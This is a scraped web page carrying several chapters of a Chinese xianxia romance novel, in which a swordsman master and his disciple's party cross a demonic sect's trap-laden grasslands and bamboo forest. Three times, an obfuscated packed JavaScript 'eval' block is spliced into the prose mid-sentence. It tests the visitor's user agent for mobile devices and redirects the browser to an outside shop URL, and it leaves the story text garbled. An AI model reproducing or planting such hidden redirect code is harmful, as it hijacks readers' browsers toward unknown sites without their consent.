乔天璇道:“万一女魔头很厉害,你能杀得了吗?而且事情都是一百年前发生的了,那女魔头若是还活着,我们五个人的年龄加起来估计都没有她的年龄大,她定然是个功力深厚的老魔女,我们怎么斗得过她?” 陈渊龙:“……” “有为师在,许是能斗得过。”洛侠拿起茶壶,为乔天璇见底的茶盏倒满了茶。 青绿色的碧螺春在茶盏中荡漾,晃出了缕缕白气。 “师父?”乔天璇疑惑地看向了洛侠:“师父有把握?” 洛侠把茶壶放好,道:“以自己的一半寿数为代价来诅咒一整个家族的世世代代本就是会元气大伤的,即使在此之前已经修魔,靠魔功延长了寿命,但也正是因为修魔,到了后期若是不每个月都通过血魔蛊来吸食幼童的血一次,身子就会如蜕皮的蛇那样一层一层脱落,最终变成一具骨架。” 乔天璇心中一惊,小心翼翼道:“这……变成骨架之前就已经死了吧?总不能变成白骨精吧?” “没错。”洛侠微微一点头,严肃道:“的确在变成骨架之前就已经死了,只是死的过程会非常痛苦,不光掉皮,肉也会一层一层脱落。一直到脏器也开始一层一层脱落,人很快便不行了。” “这和凌迟不就是一片一片和一层一层的区别嘛……”乔天璇忍不住倒吸了一口凉气。 花蕊估计是想象到了画面,有些反胃,手中拿着正准备吃的青色茶饼也顿在了唇边。 祝源的眼角略一抽搐,闭上双眼,不断地深呼吸。 陈渊龙看着洛侠,认真道:“元气大伤的修魔之人会比较容易对付吗?” 洛侠也定定地看着陈渊龙,良久才道:“会,对我来说会。” 言外之意,元气大伤的修魔之人对陈渊龙来说并不好对付。 陈渊龙沉默了一瞬,垂下眼睫,拿起茶盏,吹了吹飘在茶面上的白色热气。 听到这里,乔天璇心中有了底。 若是对洛侠来说好对付,那大概就没什么可担心的了,再加上尤远生好歹是自己的同窗,去跟女魔头求个情,万一真的能赦免了对尤远生一人的惩罚,那便再好不过。 但女魔头要是不愿意,那也不必强求。 毕竟武阳尤氏一百年前的先辈们的确犯了错。他们害苦、害死了不少人,最要命的是居然活活累死了巫神教女魔头的儿子,简直就是在找死。 若女魔头已经死了,那只能算尤远生倒霉,他只得默默地接受家族诅咒的短寿命运。 乔天璇道:“去也行,反正师父有把握,我也想看看师父有多厉害。” 花蕊毫不犹豫道:“都听云天的。” 祝源虽然有些害怕,但他还是点了点头。 陈渊龙一言不发,神色略微不悦,握着茶盏的手紧了不少。 茶馆中的其他客人们还在激烈地议论着方才说书先生所讲的故事,吵吵闹闹的。乔天璇这一桌本就在不显眼的位置,他们说的话估计也没几个旁人能听清楚,都被那些激烈的议论声给遮盖了。 吃完青色茶饼,喝完碧螺春,乔天璇从钱袋中摸出了茶和饼的钱放到桌上,揽着花蕊的肩膀出了茶馆的门。 陈渊龙连忙起身走到了乔天璇身旁的另一边,祝源则走到了花蕊身旁的另一边。 洛侠随在乔天璇的身后,眼底的眼神看起来似是在思索着什么。 按照茶馆中方才那个与陈渊龙说话的中年男子所指的路来走,乔天璇一行人从沿溪街一直走到了清溪村。 乔天璇并不想打扰村民,她和大家一起绕过清溪村,上到了清溪村后面的山头上。 放眼望去,山的后面还是山,无数的树木郁郁葱葱,山头另一侧的山谷处淌着一条清澈见底的溪流,溪流上横着一道石桥,石桥旁边有不少屹立在浅水中的大石头。 溪流两旁各有一排茅屋,山民估计就住在那些茅屋中。 “走吧,去问问山民。”乔天璇拉着花蕊的手往山谷处那两排茅屋的方向走去。 陈渊龙的目光时不时就盯一会儿山谷处的两排茅屋,似是担心住在此处的山民都是山野歹人。 待几人终于来到了那条清澈见底的溪流边,祝源转头看向了身旁的溪流,又抬头望了望天,情不自禁感叹道:“溪边照影行,天在清溪底。天上有行云,人在行云里。高歌[1]……唔唔唔唔!” 花蕊转身赶到已经落到了队伍最后面的祝源身前,猛地一巴掌捂住了祝源的嘴,咬牙切齿道:“高歌?你还想要高歌?这里是有山民和巫神教女魔头住的地方,你可给我安静点吧!” “嗯嗯嗯嗯!”祝源慌忙点头。 “依我看啊,源兄定能高中状元,对吧?雏浅凤?” 说着,乔天璇看向了陈渊龙。 “……” “嗯。”陈渊龙应了一声。 乔天璇打量着陈渊龙的表情,“哼哼”一笑。 很快,五人沿着溪流走到了建有茅屋的地方。 一个中年妇人这会儿正在溪边浣衣。 她见到乔天璇一行人沿溪走来,连忙拿着浣洗的衣服站起了身,疑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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走进山洞后,果然就如妇人说的那样,到处都是黄色晶石。 既然妇人说这些黄色晶石有剧毒,千万不要触碰,那走路时便尽量往中间靠。 “如果我没有记错,这些有毒的黄色晶石叫‘雌黄’,的确有剧毒,不能触碰。”洛侠边走边左右观察着山洞中的一切。 “原来如此。”乔天璇走得愈发小心。 洞中的黄色晶石闪出的黄色暗光把五个人都映得暗黄无比,肤色皆成了烂熟香蕉的颜色。 约莫走了半个时辰,乔天璇一行人才格外小心地从山洞中走了出来。 当温暖的阳光取代冰冷的水晶反光照在身上时,乔天璇感觉自己仿佛死而复生了一回似的。 眼前出现的是一大片枝叶茂盛的树林子。 一条被猎人们踩出来的土路嵌在林中,不怎么宽,最多只可并排通行两人。 洛侠带头走向了土路,乔天璇和花蕊并排走在洛侠身后,陈渊龙和祝源并排走在最后。 土路两旁的林子非常幽深。 乔天璇朝两旁的林子都望了望,发现皆是一眼望不到底,且给人一种阴森恐怖之感。若是不按猎人们踩出来的这条土路来走,怕是会直接迷失在这片林子中。 而妇人也并没有说得夸张,这条土路着实七拐八扭得惊人,乔天璇实在是不知猎人们最开始的时候到底是怎么踩出这条路来的。 走了许久之后,走在最前面的洛侠突然停住了脚步。 “到、到了?”乔天璇差点撞上洛侠的后背,连忙拉着花蕊一起停下。 洛侠直视前方,语气凝重道:“徒儿,为师遇见仇人了。” 55. 巫神教域(一) 师父的……仇人? 乔天璇登时有些无措。 她还从未听洛侠提起过他的仇人。 正当乔天璇想要问一下这个仇人是谁时,一个娇媚的男声忽然从前方传来:“呵呵,我就说这味道怎么如此熟悉,原来是你啊,虚天门掌门。” 乔天璇当即一惊。 洛侠居然还有这个身份? 可他为何不在虚天门好好当他的掌门,反而这么多年来都和自己一起在仙落岛上待着? 还有,他怎么从来都不与自己说这件事?自己好歹是他的徒弟啊! “我不是虚天门掌门,你认错人了。”洛侠毫不犹豫地否认。 “嗯?”乔天璇满脑子的猜想顿时一滞。 “哈哈哈哈哈哈哈……我的鼻子灵得很,肯定不会闻错的!” 声色娇媚的男子自信极了。 “狐妖黎花落,你在此处难不成是与巫神教女魔头有交际吗?”洛侠十分不悦。 “交际?那倒没有,我只是觉得这个山头的山鸡特别好吃,便来此处抓只山鸡吃。倒是虚天门掌门来这儿是要干嘛呀?难道是想跟巫神教女魔头寻欢?”黎花落的语气带着一股魅劲儿,令人浮想联翩。 乔天璇忍不住稍稍往土路边上挪了挪,看到前方的草地上站着一个一袭红衣,黑发如瀑,面色煞白,一双狐狸眼,一对秋波眉的柔美男子。 此男子的头顶生着一双毛茸茸的橘红色狐狸耳朵,耳内冒着些许白色绒毛。说话时,他的耳朵会随着他的语气而动,时而竖起,时而耷拉,时而还会往后撇去。 洛侠没声好气道:“狐妖闭嘴!都说了我不是虚天门掌门,定是你的鼻子出问题了。” 黎花落笑盈盈道:“我的鼻子?呵呵呵呵我的鼻子怎么可能出问题?我看你分明就是因为虚天门多年前不知为何突然被人灭了门,当时所有在宗门的弟子全都尸骨无存。之后虚天门彻底没落,成了一处残破不堪且灵脉枯竭的仙门遗址。而你身为虚天门掌门,你没有护好那些弟子,也没能重振虚天门,所以你才耻于承认自己是虚天门掌门的吧?” 闻言,乔天璇浑身一怔。 原来洛侠也遭遇过灭门的事情,而且还跟淮南乔氏一样,都是尸骨无存。 “黎花落,你的死期到了。”洛侠一手拔出惜今,一手取出灵符,将灵符贴在剑身上,猛地朝黎花落砍去。 黎花落见洛侠要杀他,立马双眼一绿,一双手化作狐狸爪,每根爪子都忽地伸长至寻常狐狸爪子的十倍长,且硬得能接住剑刃。 乔天璇不知洛侠跟这狐妖到底有什么仇,他每一剑几乎都是朝着黎花落的脸刺去的,有好几剑更是朝着黎花落的眼睛而去。 身旁的花蕊愣愣道:“灭妖仙人果真灭妖。” 祝源不禁感叹:“精彩!当真是精彩!” 四人这会儿正站在土路的尽头,前方是一片空旷的草地。 只是大家见到前方洛侠与黎花落的战况实在是激烈得可怕,剑刃与爪子碰撞出的响声响亮而刺耳,都不敢轻易走到土路前面的草地上去。 战了一会儿,黎花落似是有些受不了贴了灵符的惜今所能砍刺出的威力了,他边迎战边喘息道:“虚天门掌门,我跟你好像并没有什么深仇大恨吧?我方才说的都是事实,你作甚与我拼死拼活的?难道你觉得我把那些事实给说出来了,让你在你带着的那四个朋友面前丢脸了?” 此话一出,洛侠的剑挥得更狠,口中却道:“丢脸?丢什么脸?我看你的脸才是快要被我给削下来了!” 黎花落见势不妙,当即转攻为守,拼命躲闪洛侠的剑招。 打斗中的两人身后不远处是一大片白雾缭绕的竹林。 白雾时浓时淡,飘动的速度似乎比风还要快上那么一些。 可白雾的飘动速度如何会比与其同在一处的风要快?莫不是从草地和土路上吹过的风与竹林中的风速度不一样? 乔天璇仔细往白雾缭绕的竹林望去,莫名有一种怪异的感觉。 等等,若是如妇人所说那样,现在土路已经走到尽头了,那岂不是等于出了土路就进入巫神教的地方了? 既是如此,那会有怪异的感觉便不奇怪了。 巫神教外有法阵护教再正常不过,而那些法阵肯定都会有其诡异之处。 “啊呀!” 黎花落忽然惊呼一声,直挺挺地躺倒在了地上。 他明显打不过洛侠,可他的阴招损招多得数不胜数,令人防不胜防。 洛侠也清楚黎花落的各种阴招损招层出不穷。 见黎花落躺倒在地,他并不乘胜追击,而是站在原地,居高临下俯视着地上的黎花落,观察他接下来会有如何动作。 然而黎花落这次却好像是被阴了,神色明显非常慌张。 洛侠冷静一瞧,脸色顿时骤变,急忙倒退回了土路中。 “怎么了?”乔天璇不知黎花落那儿到底发生了何事。 山中的草地长势很好,草高的地方甚至没过了人的膝盖。黎花落躺倒下的地方正好长满了没过人膝盖的草,土路这边的人完全看不见草地中的黎花落此时到底如何了。 洛侠思索道:“他应该是误触巫神教的护教法阵了,我看到他那一片的地底冒出了会电击活物的藤条,那些藤条把他的四肢给死死捆住了。” 花蕊惊道:“居然还有会电击活物的藤条?!” “果然,看来走出土路的尽头之后就进入巫神教的地方了。”乔天璇更加肯定了自己方才的猜想。 花蕊紧张道:“所以只要我们不走出这条土路,就没有迈进巫神教的地方,也不会被巫神教的护教法阵给伤到。” “你们看!土路尽头边上好像有个白白的东西!”祝源像是发现了什么不得了的东西一样,很是激动。 乔天璇朝土路尽头的边上仔细看了看,果真看到了一个似是白骨的东西。 洛侠踢了一脚那东西,判定道:“是人骨,其余部分都埋在地下了。” 乔天璇道:“应该是之前在此地不小心丧命的猎人吧?” 洛侠道:“八成是了。” “嗷啊!嗷哇啊啊啊啊啊啊啊啊啊啊啊!!!” 黎花落突然痛苦万分地大喊起来,身子也剧烈地抖个不停。 “滋滋滋滋滋滋滋滋滋……” 死死捆住了黎花落四肢的藤条突然电出了响亮的声音,一股刺鼻的焦糊味迎面扑来。 “电死了!那狐妖要被电死了!”祝源惊恐万分。 花蕊道:“既然灭妖仙人跟他有仇,那他被电死了再好不过。” 闻着狐狸皮肉的焦糊味,乔天璇忍不住皱眉,捂着鼻子道:“既然草地里有埋伏,那我们难不成御剑飞过去?” “我试试。”洛侠从土路旁林子中的一棵树上折下来一根细细的树枝,猛地一手将其往前扔去。 树枝飞过草地,一路飞至白雾缭绕的竹林中落下,其间并没有遭到什么攻击。 伴随着黎花落凄厉的惨叫声,洛侠御剑飞至竹林前停住,也没有遭到什么攻击。 竹林中竹子密集,不太好御剑飞行。 洛侠仰头一望,随即让剑往上升,打算在竹林的顶上飞。 就在洛侠即将御剑升至竹林顶上时,眼前的竹林忽然齐齐快速生长。 这些竹子同时生长时发出了一大片“嘎吱嘎吱吱啦吱啦”的声音,就像是什么怪物在集体怪叫一样,震耳欲聋。 乔天璇顿时大脑一片空白。 所见之景仿佛是一堵厚厚的竹墙在拔地而起,牢牢堵住了正打算在竹林上方御剑飞行的洛侠。 花蕊当即惊呼:“会突然长高的竹林?还长得这么高?!” 祝源不安道:“看来这片竹林也是一个法阵,专门用来堵想从上方飞过去的人啊。” 洛侠完全没想到这片竹林居然会这般堵人,他只好再让剑升高,想着从更高的地方御剑飞行。 可当洛侠终于来到升得更高了竹林前时,竹林瞬间又齐齐长高了。 “嘎吱嘎吱吱啦吱啦……” 竹子生长时发出的声音依旧如怪物在集体怪叫。 由于这次竹林长得更高了,怪叫声简直响彻云霄。 “好一个会长高的法阵,叫得难听又大声。”乔天璇无奈地摇了摇头。 竹林顶上不让飞,竹林中白雾缭绕,竹子密集,御剑飞行定然十分危险。如此一来,想要飞过去就是不太可能的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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洛侠转回头望向白雾缭绕且此时已经高耸入云的竹林,无奈道:“你们想跟来的话,我和璇儿就只能御剑载你们到竹林里了。” 毫无疑问,现下也就洛侠和乔天璇会御剑,其余人要是想飞到前方的竹林里,那就只能靠会御剑的两人来载了。 “好!云天载我!”花蕊把乔天璇的胳膊抱得更紧了。 “行行行。”乔天璇连忙答应。 祝源感激道:“灭妖仙人!拜托了!” 洛侠道:“行。” 陈渊龙注视着乔天璇,试探道:“云天,可否载我一趟?” 乔天璇沉默不语。 她心底对陈渊龙曾经对自己的冷言冷语耿耿于怀,尤其是自己被惩罚在太子的书阁中洒扫浇花一事,搞得她跟个专门服侍太子的书童似的。她不服气,她对此永远怀恨在心。 “……” 气氛一时间有些尬尴。 乔天璇二话不说,干脆利落地抽出腰间缠着的削魂放到了土路上。 “走,上剑,抱紧我。”乔天璇轻轻摆动了一下花蕊抱着自己的那条胳膊。 “好!”花蕊立马和乔天璇一起走到了剑身上,一把抱紧了身前的乔天璇。 乔天璇并不是第一次载着花蕊御剑,在仙落岛时她就载着花蕊御过剑,只不过那会儿只是闹着玩儿,现在是要前往巫神教向女魔头求情赦免了尤远生的家族诅咒,还不知结果会是如何。 洛侠也让祝源与他同御一剑,并叮嘱祝源若是实在害怕就闭眼。 “走了!”乔天璇御剑飞向了白雾缭绕的竹林。 花蕊兴奋道:“飞咯!” 看着四人都御剑往竹林去了,陈渊龙等了片刻,见乔天璇虽已御剑将花蕊载到竹林前放下了,但却丝毫没有想要返回再来载他一趟的想法。 洛侠更是看都不回头看陈渊龙一眼。 就在乔天璇打算转身跟着洛侠走进竹林中时,陈渊龙突然迈步走出了土路的尽头,迈进了危机四伏,极有可能一下子窜出能电死人的藤条的草地中。 乔天璇:“?!” 花蕊惊恐道:“太子殿下不要命了!” 56. 巫神教域(二) 听到花蕊的惊恐声,祝源当即转头一望,见陈渊龙已经走进了草地中。 “太太太、太子殿下!”祝源登时吓得表情都扭曲了。 “灭妖仙人,要不……去帮帮太子殿下?”花蕊小心翼翼地试探着问洛侠。 洛侠平静地看着在草地中朝着竹林走来的陈渊龙,手中的惜今握得格外紧。 乔天璇紧盯着陈渊龙,见他极度警惕地走在草地中,每迈出一步都需要十二分的谨慎和勇气。 “师父方才在草地中与狐妖战了这么久都没事,那就说明并不是整片草地都有危险。”乔天璇喃喃着,心中并没有御剑去载陈渊龙过来的打算。 自从她淮南乔氏大小姐的身份被彻底揭穿之后,她就更加不想与陈渊龙有过多的接触了。 毕竟陈渊龙出宫这一趟就是专门来寻她回去当他的太子妃,她要是与陈渊龙接触得多了,保不齐就会让陈渊龙单方面默认她想当他的太子妃了。 可谁会想当一个冷冰块的太子妃啊?是从前遭的罪还不够多,还是诚心想继续受罪? 乔天璇每每忆起曾经的自己给陈渊龙伴读时发生的事情就恼火。 她还是和从前一样,觉得陈渊龙死了最好。 此时,陈渊龙已经走到草地中间的位置了。 也不知陈渊龙是运气好还是他的谨慎和小心让他避开了会电死活物的藤条,现在的他依旧没有发生任何意外。 但方才黎花落的死实在是可怕,狐妖被活生生电糊电死的画面在乔天璇的脑海中挥之不去,让她忍不住开始想象陈渊龙也会突然那般死去。 此刻,黎花落的尸体明晃晃地躺在不远处的草地中,时刻提醒着大家若是一个不小心就会落得和他一样的下场。 连有妖力傍身的狐妖都挣脱不得会电死活物的藤条,那就更别说陈渊龙一个凡人了。 然而,陈渊龙还是坚定不移地继续往前走着,一步又一步,和乔天璇的距离越来越近。仿佛他什么都不怕,只担心自己最后不能去到乔天璇的身前。 乔天璇看着陈渊龙距离自己越来越近的双眼,心中莫名有些紧张。 陈渊龙眼中并无任何埋怨乔天璇或洛侠不御剑去载他的情绪,反而满眼都是对自己能够即将再次来到乔天璇身边的期待之意。 明明随时都可能被藏在草地中会电死活物的藤条缠上而丧命,但陈渊龙却丝毫不惧,像是走在最终能与爱人相聚的鹊桥上一般。 祝源目瞪口呆地看着已经快要走完草地,一步一步走到了竹林前的陈渊龙。 花蕊忍不住惊叹:“没有被会电死活物的藤条缠上,太子殿下的运气真好啊。” 还差几步就要走出草地了的陈渊龙高度警惕,脚步也变得更轻了。 若是走在草地中的最后这几步稍微出些差池,说不定即刻就会被藏在草地中那些会电死活物的藤条缠上。 如此一来,便是功亏一篑,命丧黄泉。估计整个九宸国的百姓都难以置信既没有死在宫廷斗争中,也没有死在朔风国的太子殿下竟会死在这样一个山沟沟里。 乔天璇突然有点不敢与距离自己越来越近的陈渊龙对视了。 她转脸低头看向了还躺在地上的削魂,连忙捡了起来,抖了抖剑身上的灰土,将其重新缠回了腰间。 而当乔天璇收好剑再抬头时,陈渊龙已经走到了她的面前。 乔天璇下意识往后退了一步。 陈渊龙的一双黑眸注视着乔天璇,仿佛别的东西在这一刻都入不了他的眼。 “那个……太子殿下运气不错。”乔天璇的语气有些勉强,她终于又对视上了陈渊龙的双眸。 陈渊龙的目光落到了乔天璇腰间缠着的削魂上,淡淡道:“承你吉言。” “啊?哦……”乔天璇怎么也想不到陈渊龙在走出草地之后对自己说的第一句话是这四个字。 承你吉言。 想来是因为自己说了“太子殿下运气不错”这句话,他才说的“承你吉言”。 可“太子殿下运气不错”这句话不过是自己在一瞬间无话可说了才随口蹦出来的一句话,而且大概还是受了花蕊的影响才蹦出来的一句话。 花蕊方才也感叹过太子殿下的运气真好,并且花蕊对此的感叹可能比自己还要真情实意一些。 一旁的洛侠让惜今入了鞘,转身望向了白雾缭绕的竹林中。 乔天璇的余光察觉到了洛侠的动作,她连忙也转身朝白雾缭绕的竹林中望去。 “跟紧我。”洛侠走到了乔天璇的身前。 “好。”乔天璇立马拉起花蕊的手,紧跟上了前方的洛侠。 陈渊龙走到了乔天璇身旁的另一边。 祝源见前面三个人并排走在竹林中显得十分拥挤,便直接赶到了洛侠的身边。 仅仅走了不到二十步,乔天璇就感觉出来这片竹林里的白雾并不是随风飘动的,而像是被法术给操控着飘动的。 也难怪自己刚刚在竹林外面看竹林时会觉得竹林中的白雾比风要飘得快。 这些白雾估计就是法阵中的一个组成部分,普通的风吹到这些白雾上就好比吹到了沉重的石头上,白雾丝毫不受风的影响。 五人很快就走进了竹林深处。 四周静悄悄的,连一声鸟叫都听不到。 乔天璇能明显感觉到这片竹林非常不对劲。 洛侠提醒道:“当心,有些竹子会移动。” 乔天璇道:“那我们岂不是会迷失在这里面?” 洛侠道:“我做个记号。” 只见他从从乾坤袋中取出一把匕首,往一旁的竹子上划了几道痕。 之后每走一段路,洛侠都会在一根竹子上做记号。 这片竹林仿佛无穷无尽,无论怎么走也走不到尽头。 “停。”洛侠忽然不再往前。 其余人立马都顿住了脚步。 “怎么了?”乔天璇预感到肯定发生不好的事情了,猜测道:“我们是不是在绕圈?现在走回到了之前做过标记的竹子旁边了?” 洛侠道:“我们的确走回到了之前做过标记的竹子旁边,但这些竹子也移动了位置,我们现在并不在第一次见到这根竹子时所在的位置。” “那我们是不是有可能走不出这片竹林了?”花蕊有点害怕。 洛侠摇了摇头,把匕首收回乾坤袋后忽地拔出惜今,一剑砍倒了被他做了记号的那根竹子,道:“竹子而已,又不是石柱子,一路走一路砍,总能砍出一条路来。” “好!”乔天璇当即抽出削魂,一剑砍倒了身旁的一根竹子。 下一刻,白雾突然变得极浓,让人几乎看不见眼前之物。 “当心!”乔天璇持剑的手随时准备向突如其来的危险砍刺。 花蕊慌张道:“难道砍竹子会触发法阵?” “看样子是的。”乔天璇刚说完这话,她就感觉到自己脚下忽地一空,猛地往下掉落。 白雾飞速地与几人擦身而过,乔天璇仍旧与花蕊手拉着手,齐齐下坠。 她们还没来得及惊叫出声就已经跌出了白雾飘动的地方,落到了一片柔软中。 没有了白雾遮挡视线,乔天璇赶紧四下张望了一下自己所处的地方。 这是一处堆了满地鸡鸭羽毛的地方,顶上有许多发着红光的晶石,把所有的一切都照成了红色。 “咦?灭妖仙人和书呆子呢?”花蕊满脸疑惑。 乔天璇当即看了看身旁的人,发现身旁只剩下陈渊龙和花蕊,洛侠和祝源不见踪影。 “不好,我们被法阵分散开了。”乔天璇赶紧爬起了身,顺带着拉了花蕊一把。 陈渊龙也连忙爬起身来,快步走近了乔天璇的身旁,拔剑出鞘。 “这是什么地方?”花蕊不安地望着四周,双手抽出了腰间的两把短刀防身。 “不知道,但肯定不是什么好地方。”乔天璇紧握削魂,发现不远处顶上晶石较少红光较暗的地方似乎站着一个人影。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17045365|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 三人互相背对着背,站成了三角状,三面防敌。 “呀,好久没有这么热闹过了,一来就是三个人呢。” 一个苍老的女声从乔天璇发现的那个人影处传来。 “谁?!”花蕊不安地问着,和陈渊龙循声齐齐望向了乔天璇注意着的那个人影。 人影慢慢从暗处走出,来到了红光明亮的地方。 乔天璇听人影的声音以为会是一个老妪,却没想到走出来的竟是一个六岁小女孩模样的妖。 她一袭白衣,两颊上各有三道从耳前延申至唇角边的黑色妖纹,一双眼睛黑豆似的,额上没有眉毛,空空荡荡。 “你是法阵中的妖吧?”乔天璇感觉到了一股浓烈的妖气。 “我是竹虱精,你们可以叫我童竹。” 说罢,童竹双手一挥,陈渊龙和花蕊便突然被从两张天而降的网分别网了起来,悬吊在了空中。 乔天璇感觉自己身子两旁忽地一空,一转身,看到的是两个被网起来后吊在空中的人。 “啊啊啊啊天璇姐姐!救我救我!”花蕊恐惧地惊叫起来,一双短刀被吓得脱手落地。 陈渊龙的剑也砸落到了一地羽毛中。他在网中奋力挣扎着,却发现越是挣扎,网就把人困得越死。 “童竹,你要作甚?!”乔天璇赶忙转身看向了童竹,震惊之余感到异常愤怒。 童竹委屈道:“我一下子就感觉到眼前的这位漂亮妹妹是位厉害的灵师了,如此一来,我可就处于弱势了。我得把你那两位没有丝毫灵力的朋友变成我的人质,这样我才相对来说没那么弱势。” “啧,麻烦。”乔天璇不屑地瞥了一眼童竹,转身挥起手中削魂,一剑往困住了花蕊的那张网砍去,打算破网救人。 顿时,一阵电流刺得乔天璇和花蕊都疼得喊出了声。 “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊!!!” 被困在网中的花蕊喊得直翻白眼,浑身颤抖不止。 乔天璇受到的电流是从碰到了网的剑上传来的。剑离开了网,电自然也没了。 看到比自己受到电击时间长了许多的花蕊奄奄一息地瘫在网中,乔天璇强忍着浑身炸裂般的疼痛,转过身恶狠狠地瞪着童竹。 童竹惋惜道:“呀,我的网可是用结实的电藤做的,强行砍开了之后可是会电死人的。当然,这网也只有我会解,你要是杀了我的话,他们两个可就得永远被困在网里面了哦。” “……电藤?”乔天璇喘息着,立马明白了童竹所说的东西是外面草地中那些会电死活物的藤条。 想起黎花落惨死于电藤的模样,乔天璇当即冷静了下来。 硬生生命令童竹放花蕊和陈渊龙出来肯定是不会有结果的,但自己要是能够满足童竹提出的一些条件,那她大概会放人出来。 想罢,乔天璇语气尽量平和道:“童竹,我要怎样做,你才能放他们出来?” 童竹仿佛就在等乔天璇问她这一句话似的,笑嘻嘻道:“好说好说,灵师,你只需要指出他们之中的一个人,那么被你指到的人便能活。至于剩下的那个人,我会将其活埋了给竹子当肥料!” “什么?!”乔天璇嫌恶地瞪着童竹,想到竹虱是寄生于竹子的,成精之后给竹子施肥倒是合情合理。 只是活埋了人来给竹子当肥料实在是恶心人,更何况这种事情她还当着人的面说了出来。 童竹见乔天璇迟迟不答复自己,略微不耐烦道:“灵师,你若是还不赶紧做选择,那我可就要把他们两个都给活埋了呀。” “我……”乔天璇连忙转身看向了被网困住了的花蕊和陈渊龙。 毫无疑问,若是只能活一个,那她必然会救花蕊。 可陈渊龙是九宸国太子,他要是死了的话…… 乔天璇的心忽地猛然跳快了两拍。 山高皇帝远的,这儿还是山沟沟里的不知道什么地方,现在不正是能借此机会杀了陈渊龙的好时机吗?! 57. 巫神教域(三) 被电得奄奄一息的花蕊听到童竹要乔天璇在她和陈渊龙之间做二选一,被选中的人才能活下来,剩下的人则会被活埋,顿时清醒了不少。 在晶石发出的红光照映下,乔天璇上身的红衣红得愈发刺眼。 陈渊龙许是察觉到了花蕊极度的恐惧和不安,他透过网格看向了乔天璇,认真道:“天璇,你的阿蕊若是因为你选了我而没能活下来,你肯定会迁怒于我,我也没脸娶你为我的太子妃了。选阿蕊,让她陪着你活下去。” “你、你这是……”乔天璇难以置信方才听到了陈渊龙说的那些话。 花蕊也震惊地转头透过网格看向了陈渊龙。 他竟是自愿放弃了活下去的资格! “呀哈?有意思有意思!”童竹既兴奋又好奇地盯着陈渊龙,乐呵道:“我还是第一次见到你这样的人呢。以往我让人做二选一的选择时,见到的场面几乎都是被网起来的两个人都想要活下去,为了活命争得不可开交,破口大骂,撕破脸皮,甚至反目成仇。今儿当真是开了眼了,居然见到了直接把活下去的机会拱手让人的人。” 陈渊龙冷冷地瞥了童竹一眼,道:“恶妖,罪孽深重。” 童竹委屈道:“我不过是想给我的竹子筛选肥料罢了,哪里罪孽深重了呀?” 乔天璇猛地转身瞪向童竹,怒道:“滥杀无辜就是罪孽深重!更何况还是把人给活埋了?你怎么不把自己给活埋了呢?!” 童竹理直气壮道:“我们竹虱本来就寄生于竹子,肯定不会把自己拿来给竹子当肥料。就像你们人,会用木头来搭建房屋,可你们不会拿人来当房子的承重柱。想想都能知道,那怎么能行嘛?” 乔天璇不屑道:“废话真多。” 童竹冷笑道:“我若是把自己给活埋了,那你那两个朋友也别想有办法解得开困着他们的网了。” 话音刚落,地面突然开始轻轻抖动了起来。 铺在地面上的厚厚一层羽毛被抖得飘飞,乔天璇能明显感觉得到羽毛底下的泥土在缓缓翻涌。 “感觉到了吧?土地在渴望肥料的滋养!灵师,你再不选,可就没有选的机会了哦。”童竹幸灾乐祸地望着乔天璇。 乔天璇一惊,当即回头看向了被网困着的花蕊和陈渊龙。 陈渊龙神色镇定道:“天璇,别犹豫了,选阿蕊。” 花蕊依旧十分惊恐,她的目光在陈渊龙和乔天璇之间来回跳跃,似是想点头,又似是想摇头,想说的话像是哽在了喉头,心底求生心切,可一回想起陈渊龙刚刚说的那番话,心中又纠结万分。 乔天璇倒是清楚自己内心的选择。 她本就打算选花蕊的。 至于陈渊龙…… 他不也让自己选花蕊吗? 乔天璇深呼吸了一口气,猛地抬起手指向了花蕊。 “轰!!!轰隆轰隆——” 震耳欲聋的巨响突然破开了一旁的墙壁。 乔天璇下意识朝巨响声传来的方向望去,见到洛侠正持着贴了符的惜今站在碎了一地的墙壁外。 他的身后旋转着一个亮眼的紫色法阵,周身散发着强烈的法力波动。 祝源则紧跟在洛侠的身旁,神情惊魂未定。 “师父!”乔天璇喜出望外。 洛侠见到了乔天璇,顿时眼前一亮。 “你是谁?怎么可能进得来这儿的?!”童竹惊愕地盯着洛侠。 洛侠瞟了一眼童竹,满脸不悦,杀气腾腾。 乔天璇连忙道:“师父,不要杀她!只有她能解得开困着阿蕊和傻子龙的网!” “是吗?”洛侠稍有迟疑,转眼望向了被悬吊在空中,困在网里的花蕊和陈渊龙。 陈渊龙冷不丁听到乔天璇称自己为傻子龙,漆黑的双眸中闪过一道意外的光。 童竹得意道:“是啊,若是我死了,他们两个就得永远被困在网里面了!你们可不能杀我!” 祝源注意到了被困在网里的花蕊,顿时焦急道:“阿蕊!你没事吧?” 花蕊有气无力地摆了摆手,勉强道:“没事。” 洛侠离开了旋转着的紫色法阵,快步紧逼童竹的方向。 童竹被洛侠的法力威压吓得倒退了好几步,慌张道:“你要是杀了我,就没有谁能解开被困在网里面的那两个人了!” “一剑劈开你的网不就好了?”洛侠依旧步步逼近童竹。 童竹道:“我的网可是用结实的电藤做的!强行劈开不但困难得很,而且还会放电!能活活电死被困在网里面的人!” 